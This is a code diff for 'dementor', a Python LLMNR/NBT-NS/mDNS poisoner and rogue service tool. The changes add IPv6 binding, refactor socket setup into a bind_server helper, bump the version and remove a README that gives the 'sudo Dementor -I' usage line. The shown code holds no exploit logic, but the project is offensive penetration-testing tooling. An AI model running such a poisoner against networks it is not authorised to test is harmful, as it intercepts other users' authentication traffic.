  # NOTE: hostname on the controller points to the local address that will be
338
336
  # bound and the SMTP hostname is just a string that will be sent to the client,
339
- controller.hostname = self.config.ipv4
337
+ controller.hostname = "::" if self.config.ipv6 else self.config.ipv4
340
338
 
341
339
  # alter the server hostname
342
340
  controller.SMTP_kwargs["hostname"] = smtp_config.smtp_fqdn.split(".", 1)[0]
@@ -344,7 +342,7 @@ class SMTPServerThread(threading.Thread):
344
342
  label = "SMTP" if not smtp_config.smtp_tls else "SMTPS"
345
343
  try:
346
344
  dm_logger.debug(
347
- f"Starting {label} server on {self.config.ipv4}:{smtp_config.smtp_port}"
345
+ f"Starting {label} server on {controller.hostname}:{smtp_config.smtp_port}"
348
346
  )
349
347
  controller.start()
350
348
  except OSError as e:
@@ -58,7 +58,7 @@ class ServerThread(threading.Thread):
58
58
  dm_logger.error(
59
59
  f"Failed to start server for {self.service_name}: Permission Denied!"
60
60
  )
61
-
61
+ print(e)
62
62
  except Exception as e:
63
63
  print(e)
64
64
 
@@ -134,23 +134,27 @@ class ThreadingUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
134
134
  self.ipv4_only = getattr(config, "ipv4_only", False)
135
135
  if config.ipv6 and not self.ipv4_only:
136
136
  self.address_family = socket.AF_INET6
137
+
137
138
  super().__init__(
138
139
  server_address or ("", self.default_port),
139
140
  RequestHandlerClass or self.default_handler_class,
140
141
  )
141
142
 
142
143
  def server_bind(self) -> None:
143
- interface = self.config.interface.encode("ascii") + b"\x00"
144
- self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface)
145
- if self.config.ipv6 and not self.ipv4_only:
146
- self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
147
-
144
+ bind_server(self, self.config)
148
145
  socketserver.UDPServer.server_bind(self)
149
146
 
150
147
  def finish_request(self, request, client_address) -> None:
151
148
  self.RequestHandlerClass(self.config, request, client_address, self)
152
149
 
153
150
 
151
+ def bind_server(server, session):
152
+ interface = session.interface.encode("ascii") + b"\x00"
153
+ server.socket.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface)
154
+ if session.ipv6 and not getattr(session, "ipv4_only", False):
155
+ server.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
156
+
157
+
154
158
  class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
155
159
  default_port: int
156
160
  default_handler_class: type
@@ -174,11 +178,7 @@ class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
174
178
  )
175
179
 
176
180
  def server_bind(self) -> None:
177
- interface = self.config.interface.encode("ascii") + b"\x00"
178
- self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface)
179
- if self.config.ipv6 and not self.ipv4_only:
180
- self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
181
-
181
+ bind_server(self, self.config)
182
182
  socketserver.TCPServer.server_bind(self)
183
183
 
184
184
  def finish_request(self, request, client_address) -> None:
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev0
3
+ Version: 1.0.0.dev1
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,6 +18,7 @@ dementor.egg-info/entry_points.txt
18
18
  dementor.egg-info/top_level.txt
19
19
  dementor/protocols/__init__.py
20
20
  dementor/protocols/ftp.py
21
+ dementor/protocols/http.py
21
22
  dementor/protocols/kerberos.py
22
23
  dementor/protocols/ldap.py
23
24
  dementor/protocols/llmnr.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev0"
3
+ version = "1.0.0.dev1"
4
4
  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
@@ -1,42 +0,0 @@
1
- # Dementor
2
-
3
- IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and rogue service provider - you can think if it as Responder 2.0. Get more information
4
- on the [Documentation](https://matrixeditor.github.io/dementor/) page.
5
-
6
- ### Offers
7
-
8
- - No reliance on hardcoded or precomputed packets
9
- - Fine-grained, per-protocol configuration using a modular system (see [Docs - Configuration](https://matrixeditor.github.io/dementor/config/index.html))
10
- - Near-complete protocol parity with Responder (see [Docs - Compatibility](https://matrixeditor.github.io/dementor/compat.html))
11
- - Easy integration of new protocols via the extension system
12
-
13
- ## Installation
14
-
15
- Installation via `pip` from GitHub or PyPI:
16
-
17
- ```bash
18
- pip install dementor
19
- ```
20
-
21
- ## Usage
22
-
23
- Just type in _Dementor_, specify the target interface and you are good to go! It is recommended
24
- to run _Dementor_ with `sudo` as most protocol servers use privileged ports.
25
-
26
- ```bash
27
- sudo Dementor -I "$INTERFACE_NAME"
28
- ```
29
-
30
- Let's take a look.
31
-
32
- ![index_video](./docs/source/_static/images/index-video.gif)
33
-
34
-
35
- ## You need more?
36
-
37
- Take a look at the [Documentation on GitHub-Pages](https://matrixeditor.github.io/dementor/)
38
-
39
-
40
- ## License
41
-
42
- Distributed under the MIT License. See LICENSE for more information.
File without changes
@@ -341,8 +341,6 @@ def main(
341
341
  dm_logger.error(f"Failed to load configuration file: {e}")
342
342
  return
343
343
 
344
- session = SessionConfig()
345
- session.analysis = analyze
346
344
  logger.init()
347
345
 
348
346
  if extras:
@@ -354,6 +352,8 @@ def main(
354
352
  config.dm_config[section][key] = value
355
353
 
356
354
  loader = ProtocolLoader()
355
+ session = SessionConfig()
356
+ session.analysis = analyze
357
357
  session.protocols = loader.get_protocols(session)
358
358
 
359
359
  if not quiet:
File without changes